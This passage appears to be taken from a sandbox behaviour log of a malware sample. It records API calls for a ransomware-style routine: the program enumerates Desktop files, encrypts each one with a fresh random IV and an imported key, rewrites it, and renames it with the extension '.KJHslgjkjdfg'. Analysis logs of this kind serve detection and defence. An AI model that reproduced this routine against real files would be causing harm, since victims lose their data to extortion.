GetProcessHeap () returned 0x990000 [0143.904] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b5500 | out: hHeap=0x990000) returned 1 [0143.904] GetProcessHeap () returned 0x990000 [0143.904] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0143.904] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5VGkmqMV_mQKDW0u08ys.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5vgkmqmv_mqkdw0u08ys.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5VGkmqMV_mQKDW0u08ys.docx.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5vgkmqmv_mqkdw0u08ys.docx.kjhslgjkjdfg")) returned 1 [0143.908] CloseHandle (hObject=0xc0) returned 1 [0143.908] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd59a400, ftCreationTime.dwHighDateTime=0x1d5e0cb, ftLastAccessTime.dwLowDateTime=0x42227480, ftLastAccessTime.dwHighDateTime=0x1d5e418, ftLastWriteTime.dwLowDateTime=0x42227480, ftLastWriteTime.dwHighDateTime=0x1d5e418, nFileSizeHigh=0x0, nFileSizeLow=0x817, dwReserved0=0x0, dwReserved1=0xffff, cFileName="6wE3.swf", cAlternateFileName="")) returned 1 [0143.908] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6wE3.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6we3.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0143.908] GetProcessHeap () returned 0x990000 [0143.908] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0143.909] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0143.909] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb0 | out: lpNewFilePointer=0x0) returned 1 [0143.909] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfcc0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfcc0*, lpNumberOfBytesWritten=0x29dfc90*=0x9, lpOverlapped=0x0) returned 1 [0143.911] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0143.911] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0143.911] GetProcessHeap () returned 0x990000 [0143.911] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0143.911] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29dfc78*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29dfc78*=0x30) returned 1 [0143.911] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0143.911] WriteFile (in: hFile=0xc0, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29dfc90*=0x30, lpOverlapped=0x0) returned 1 [0143.911] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfc98*, lpNumberOfBytesWritten=0x29dfc90*=0x4, lpOverlapped=0x0) returned 1 [0143.911] WriteFile (in: hFile=0xc0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfc90*=0x10, lpOverlapped=0x0) returned 1 [0143.911] WriteFile (in: hFile=0xc0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29dfc90*=0x80, lpOverlapped=0x0) returned 1 [0143.911] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb8 | out: lpNewFilePointer=0x0) returned 1 [0143.911] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfca8*, lpNumberOfBytesWritten=0x29dfc90*=0x8, lpOverlapped=0x0) returned 1 [0143.911] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0143.912] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0143.912] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.912] ReadFile (in: hFile=0xc0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x817, lpNumberOfBytesRead=0x29dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfc9c*=0x817, lpOverlapped=0x0) returned 1 [0143.912] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x820, dwBufLen=0x820 | out: pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x820) returned 1 [0143.912] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.912] WriteFile (in: hFile=0xc0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfc90*=0x820, lpOverlapped=0x0) returned 1 [0143.912] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0143.912] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x8e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.912] SetEndOfFile (hFile=0xc0) returned 1 [0143.913] GetProcessHeap () returned 0x990000 [0143.913] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0143.913] GetProcessHeap () returned 0x990000 [0143.913] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0143.913] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6wE3.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6we3.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6wE3.swf.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6we3.swf.kjhslgjkjdfg")) returned 1 [0143.914] CloseHandle (hObject=0xc0) returned 1 [0143.914] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bccb540, ftCreationTime.dwHighDateTime=0x1d5e30a, ftLastAccessTime.dwLowDateTime=0x98315a50, ftLastAccessTime.dwHighDateTime=0x1d5d92b, ftLastWriteTime.dwLowDateTime=0x98315a50, ftLastWriteTime.dwHighDateTime=0x1d5d92b, nFileSizeHigh=0x0, nFileSizeLow=0x3cdd, dwReserved0=0x0, dwReserved1=0xffff, cFileName="7vcTPC9L4o_Ao.wav", cAlternateFileName="7VCTPC~1.WAV")) returned 1 [0143.914] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vcTPC9L4o_Ao.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vctpc9l4o_ao.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0143.915] GetProcessHeap () returned 0x990000 [0143.915] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0143.915] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0143.915] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb0 | out: lpNewFilePointer=0x0) returned 1 [0143.915] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfcc0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfcc0*, lpNumberOfBytesWritten=0x29dfc90*=0x3, lpOverlapped=0x0) returned 1 [0143.915] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0143.915] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0143.915] GetProcessHeap () returned 0x990000 [0143.915] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0143.915] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29dfc78*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29dfc78*=0x40) returned 1 [0143.915] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0143.915] WriteFile (in: hFile=0xc0, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29dfc90*=0x40, lpOverlapped=0x0) returned 1 [0143.915] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfc98*, lpNumberOfBytesWritten=0x29dfc90*=0x4, lpOverlapped=0x0) returned 1 [0143.916] WriteFile (in: hFile=0xc0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfc90*=0x10, lpOverlapped=0x0) returned 1 [0143.916] WriteFile (in: hFile=0xc0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29dfc90*=0x80, lpOverlapped=0x0) returned 1 [0143.916] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb8 | out: lpNewFilePointer=0x0) returned 1 [0143.916] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfca8*, lpNumberOfBytesWritten=0x29dfc90*=0x8, lpOverlapped=0x0) returned 1 [0143.916] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0143.916] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0143.916] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.916] ReadFile (in: hFile=0xc0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3cdd, lpNumberOfBytesRead=0x29dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfc9c*=0x3cdd, lpOverlapped=0x0) returned 1 [0143.916] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x3ce0, dwBufLen=0x3ce0 | out: pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x3ce0) returned 1 [0143.916] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.917] WriteFile (in: hFile=0xc0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3ce0, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfc90*=0x3ce0, lpOverlapped=0x0) returned 1 [0143.917] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0143.917] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x3db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.917] SetEndOfFile (hFile=0xc0) returned 1 [0143.917] GetProcessHeap () returned 0x990000 [0143.917] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0143.917] GetProcessHeap () returned 0x990000 [0143.917] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0143.917] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vcTPC9L4o_Ao.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vctpc9l4o_ao.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vcTPC9L4o_Ao.wav.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vctpc9l4o_ao.wav.kjhslgjkjdfg")) returned 1 [0143.920] CloseHandle (hObject=0xc0) returned 1 [0143.920] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7447cfe0, ftCreationTime.dwHighDateTime=0x1d5dd16, ftLastAccessTime.dwLowDateTime=0x166169c0, ftLastAccessTime.dwHighDateTime=0x1d5df9d, ftLastWriteTime.dwLowDateTime=0x166169c0, ftLastWriteTime.dwHighDateTime=0x1d5df9d, nFileSizeHigh=0x0, nFileSizeLow=0x11f0d, dwReserved0=0x0, dwReserved1=0xffff, cFileName="9x8lG.wav", cAlternateFileName="")) returned 1 [0143.920] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9x8lG.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9x8lg.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0143.920] GetProcessHeap () returned 0x990000 [0143.920] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0143.920] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0143.920] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb0 | out: lpNewFilePointer=0x0) returned 1 [0143.920] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfcc0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfcc0*, lpNumberOfBytesWritten=0x29dfc90*=0x3, lpOverlapped=0x0) returned 1 [0143.922] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0143.922] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0143.922] GetProcessHeap () returned 0x990000 [0143.922] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0143.922] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29dfc78*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29dfc78*=0x30) returned 1 [0143.922] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0143.922] WriteFile (in: hFile=0xc0, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29dfc90*=0x30, lpOverlapped=0x0) returned 1 [0143.922] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfc98*, lpNumberOfBytesWritten=0x29dfc90*=0x4, lpOverlapped=0x0) returned 1 [0143.923] WriteFile (in: hFile=0xc0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfc90*=0x10, lpOverlapped=0x0) returned 1 [0143.923] WriteFile (in: hFile=0xc0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29dfc90*=0x80, lpOverlapped=0x0) returned 1 [0143.923] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb8 | out: lpNewFilePointer=0x0) returned 1 [0143.923] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfca8*, lpNumberOfBytesWritten=0x29dfc90*=0x8, lpOverlapped=0x0) returned 1 [0143.923] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0143.923] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0143.923] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.923] ReadFile (in: hFile=0xc0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x11f0d, lpNumberOfBytesRead=0x29dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfc9c*=0x11f0d, lpOverlapped=0x0) returned 1 [0143.926] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x11f10, dwBufLen=0x11f10 | out: pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x11f10) returned 1 [0143.927] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.927] WriteFile (in: hFile=0xc0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x11f10, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfc90*=0x11f10, lpOverlapped=0x0) returned 1 [0143.928] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0143.928] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x11fd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.928] SetEndOfFile (hFile=0xc0) returned 1 [0143.930] GetProcessHeap () returned 0x990000 [0143.930] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0143.930] GetProcessHeap () returned 0x990000 [0143.930] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0143.930] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9x8lG.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9x8lg.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9x8lG.wav.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9x8lg.wav.kjhslgjkjdfg")) returned 1 [0143.931] CloseHandle (hObject=0xc0) returned 1 [0143.934] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x290d8f50, ftCreationTime.dwHighDateTime=0x1d5df06, ftLastAccessTime.dwLowDateTime=0x6f33c5d0, ftLastAccessTime.dwHighDateTime=0x1d5da15, ftLastWriteTime.dwLowDateTime=0x6f33c5d0, ftLastWriteTime.dwHighDateTime=0x1d5da15, nFileSizeHigh=0x0, nFileSizeLow=0x44a2, dwReserved0=0x0, dwReserved1=0xffff, cFileName="AeWtEp-7pczmGACirM.swf", cAlternateFileName="AEWTEP~1.SWF")) returned 1 [0143.934] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AeWtEp-7pczmGACirM.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\aewtep-7pczmgacirm.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0143.934] GetProcessHeap () returned 0x990000 [0143.934] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0143.934] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0143.934] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb0 | out: lpNewFilePointer=0x0) returned 1 [0143.935] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfcc0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfcc0*, lpNumberOfBytesWritten=0x29dfc90*=0xe, lpOverlapped=0x0) returned 1 [0143.945] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0143.945] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0143.945] GetProcessHeap () returned 0x990000 [0143.946] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x50) returned 0x9b5500 [0143.946] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b5500*, pdwDataLen=0x29dfc78*=0x50, dwBufLen=0x50 | out: pbData=0x9b5500*, pdwDataLen=0x29dfc78*=0x50) returned 1 [0143.946] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0143.946] WriteFile (in: hFile=0xc0, lpBuffer=0x9b5500*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b5500*, lpNumberOfBytesWritten=0x29dfc90*=0x50, lpOverlapped=0x0) returned 1 [0143.946] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfc98*, lpNumberOfBytesWritten=0x29dfc90*=0x4, lpOverlapped=0x0) returned 1 [0143.946] WriteFile (in: hFile=0xc0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfc90*=0x10, lpOverlapped=0x0) returned 1 [0143.946] WriteFile (in: hFile=0xc0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29dfc90*=0x80, lpOverlapped=0x0) returned 1 [0143.946] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb8 | out: lpNewFilePointer=0x0) returned 1 [0143.946] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfca8*, lpNumberOfBytesWritten=0x29dfc90*=0x8, lpOverlapped=0x0) returned 1 [0143.946] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0143.946] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0143.946] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.946] ReadFile (in: hFile=0xc0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x44a2, lpNumberOfBytesRead=0x29dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfc9c*=0x44a2, lpOverlapped=0x0) returned 1 [0143.947] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x44b0, dwBufLen=0x44b0 | out: pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x44b0) returned 1 [0143.948] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.948] WriteFile (in: hFile=0xc0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x44b0, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfc90*=0x44b0, lpOverlapped=0x0) returned 1 [0143.948] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0143.948] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x4594, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.948] SetEndOfFile (hFile=0xc0) returned 1 [0143.950] GetProcessHeap () returned 0x990000 [0143.950] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b5500 | out: hHeap=0x990000) returned 1 [0143.950] GetProcessHeap () returned 0x990000 [0143.950] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0143.950] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AeWtEp-7pczmGACirM.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\aewtep-7pczmgacirm.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AeWtEp-7pczmGACirM.swf.KJHslgjkjdfg" (normalized: 